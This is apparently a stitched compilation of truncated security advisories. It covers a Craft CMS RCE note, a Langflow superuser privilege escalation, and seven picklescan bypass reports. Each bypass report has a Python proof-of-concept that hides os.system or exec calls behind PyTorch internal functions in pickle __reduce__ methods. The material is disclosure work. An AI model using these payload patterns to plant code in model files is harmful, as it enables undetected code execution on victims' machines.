#rce

You must have administrator access, and `ALLOW_ADMIN_CHANGES` must be enabled for this to work. https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production Note: This is a follow-up to [GHSA-f3cw-hg6r-chfv](https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv) Users should update to the patched versions (4.16.6 and 5.8.7) to mitigate the issue. References: https://github.com/craftcms/cms/pull/17612

This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed. ### Summary A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account. ### Details Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including: `langflow superuser` This command allows creation of a new superuser without checking whether one already exists. When combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute: `/app/.venv/bin/langflow superuser` inside the container, and el...

### Summary Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle from torch.utils._config_module import ConfigModule class Evil: def __reduce__(self): return (os.system, ('whoami',)) class EvilTorchUtilsConfigModuleLoadConfig: def __reduce__(self): evil_payload = pickle.dumps(Evil()) return ConfigModule.load_config, (None, evil_payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malici...

### Summary Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops class EvilTorchJitUnsupportedTensorOpsExecWrapper: def __reduce__(self): code = '__import__("os").system("whoami")' glob = {} loc = {} return unsupported_tensor_ops.execWrapper, (code, glob, loc) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle...

### Summary Using torch.utils.data.datapipes.utils.decoder.basichandlers function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils.data.datapipes.utils.decoder.basichandlers function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.utils.data.datapipes.utils.decoder as decoder class EvilTorchUtilsDataDatapipesDecoder: def __reduce__(self): extension = 'pickle' class RCE: def __reduce__(self): return os.system, ('whoami',) data = pickle.dumps(RCE()) return decoder.basichandlers, (extension, data) ``` ### Impact Who is impacted? Any organiza...

### Summary Using torch.utils.collect_env.run function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils.collect_env.run function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.utils.collect_env as collect_env class EvilTorchUtilsCollectEnvRun: def __reduce__(self): command = 'touch /tmp/collect_env_run_success' return collect_env.run, (command,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but ...

### Summary Using torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import types import torch.fx.experimental.symbolic_shapes as symbolic_shapes class EvilTorchFxSymbolicShapesEvaluateGuardsExpression: def __reduce__(self): fake_self = str code = "__import__('os').system('whoami')" args = [] return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args) ``` ### ...

### Summary Using torch._dynamo.guards.GuardBuilder.get function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch._dynamo.guards.GuardBuilder.get function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import types import torch._dynamo.guards as guards class EvilTorchDynamoGuardsGet: def __reduce__(self): fake_self = types.SimpleNamespace(scope={}) name = "__import__('os').system('whoami')" return guards.GuardBuilder.get, (fake_self, name) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the i...

### Summary Using torch.utils.bottleneck.__main__.run_cprofile function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils.bottleneck.__main__.run_cprofile function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.utils.bottleneck.__main__ as bottleneck_main class EvilTorchUtilsBottleneckRunCprofile: def __reduce__(self): code = '__import__("os").system("whoami")' globs = {} return bottleneck_main.run_cprofile, (code, globs) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the...

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